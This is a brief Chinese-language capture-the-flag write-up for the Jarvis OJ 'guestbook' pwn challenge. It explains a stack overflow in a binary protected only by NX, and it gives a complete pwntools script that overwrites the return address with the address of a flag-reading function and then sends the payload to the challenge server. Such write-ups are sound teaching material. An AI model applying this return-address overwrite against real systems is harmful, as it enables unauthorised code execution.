这是一个简单的栈溢出,这个程序只开启了NX防御机制,在IDA反汇编之后,可以看到一个flag.txt的文件,进去之后我们可以看到在函数goodgame之中调用了fopen函数,来打开flag文件
image.png所以我们直接控制将返回的地址覆盖为goodgame的地址。
from pwn import *
debug = False
local = False
x86 = False
if debug:
context.log_level = 'debug'
else:
context.log_level = 'info'
if x86:
libc = ELF('/lib32/libc.so.6')
else:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
p = process('./guestbook')
else:
p = remote('pwn.jarvisoj.com',9876)
goodgame = 0x0400620
payload = 'a'*0x88 + p64(goodgame)
p.recvuntil(":")
p.sendline(payload)
p.interactive()
网友评论